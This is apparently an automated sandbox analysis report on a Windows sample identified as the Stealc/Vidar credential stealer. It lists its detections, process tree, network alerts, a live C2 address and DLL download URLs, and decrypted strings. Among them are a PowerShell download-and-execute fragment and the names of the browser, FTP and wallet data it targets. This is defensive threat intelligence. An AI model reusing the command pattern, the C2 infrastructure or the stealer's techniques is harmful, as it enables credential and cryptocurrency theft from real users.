Edit tour

Windows Analysis Report
glpEv3POe7.exe

Overview

General Information

Sample name:	glpEv3POe7.exe renamed because original name is a hash value
Original sample name:	89ad45b4a0e2d547c1e09d0a1ea94df6.exe
Analysis ID:	1580530
MD5:	89ad45b4a0e2d547c1e09d0a1ea94df6
SHA1:	ca32c2e492bb6d0753aab59993380db79b080740
SHA256:	18f4e82898557ba7f23f5b58e181793aee6b9ee066258ce0b8fdba63a714c4f8
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

glpEv3POe7.exe (PID: 7548 cmdline: "C:\Users\user\Desktop\glpEv3POe7.exe" MD5: 89AD45B4A0E2D547C1E09D0A1EA94DF6)

chrome.exe (PID: 7644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2176,i,7037384399253609430,4066803532452001753,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://135.181.65.216/ee45b7c5e4cb75cb.php"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
glpEv3POe7.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
glpEv3POe7.exe	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1667691355.00000000005AB000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: glpEv3POe7.exe PID: 7548	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: glpEv3POe7.exe PID: 7548	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: glpEv3POe7.exe PID: 7548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: glpEv3POe7.exe PID: 7548	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.glpEv3POe7.exe.580000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.glpEv3POe7.exe.580000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.0.glpEv3POe7.exe.580000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:
0.2.glpEv3POe7.exe.580000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\glpEv3POe7.exe", ParentImage: C:\Users\user\Desktop\glpEv3POe7.exe, ParentProcessId: 7548, ParentProcessName: glpEv3POe7.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7644, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:56.831550+0100	2044245	1	Malware Command and Control Activity Detected	135.181.65.216	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:56.710636+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	135.181.65.216	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:57.136561+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	135.181.65.216	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:58.141809+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	135.181.65.216	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:57.266366+0100	2044247	1	Malware Command and Control Activity Detected	135.181.65.216	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:56.270216+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	135.181.65.216	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T22:26:58.774762+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:27:11.858256+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:13.828760+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:15.380743+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:16.433723+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:19.985981+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:20.975067+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	135.181.65.216	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: glpEv3POe7.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll7q	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/softokn3.dllp0	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.php2	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpdlls	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpnomi	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpdll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/softokn3.dllF1	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/nss3.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/mozglue.dllP1%	Avira URL Cloud: Label: malware
Source: http://135.181.65.216	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpx	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpl	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/nss3.dllC	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpCoinomi	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/nss3.dllY	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpr	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/nss3.dllU	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.php	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpf	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/freebl3.dll61	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpZ	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/msvcp140.dllf03	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/mozglue.dlll19	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/ee45b7c5e4cb75cb.phpB	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/k	Avira URL Cloud: Label: malware
Source: http://135.181.65.216/4a21a126be249f0d/vcruntime140.dllj	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://135.181.65.216/ee45b7c5e4cb75cb.php"}

Multi AV Scanner detection for submitted file

Source: glpEv3POe7.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: glpEv3POe7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 01
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 03
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 20
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 25
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: lstrcatA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: OpenEventA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateEventA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CloseHandle
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Sleep
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: VirtualFree
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: lstrlenA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ExitProcess
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: user32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateDCA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sscanf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HAL9TH
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: JohnDoe
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DISPLAY
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: http://135.181.65.216
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: /ee45b7c5e4cb75cb.php
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: /4a21a126be249f0d/
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: valenciga
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HeapFree
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetFileSize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GlobalSize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Process32Next
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Process32First
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: LocalFree
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: FindClose
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ReadFile
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: WriteFile
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateFileA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CopyFileA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetLastError
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GlobalFree
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: OpenProcess
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ole32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: wininet.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: shell32.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SelectObject
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BitBlt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DeleteObject
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GdipFree
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CoInitialize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetDC
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CloseWindow
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: wsprintfA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CharToOemW
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: wsprintfW
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: StrStrA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RmStartSession
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RmGetList
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: RmEndSession
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_column_text
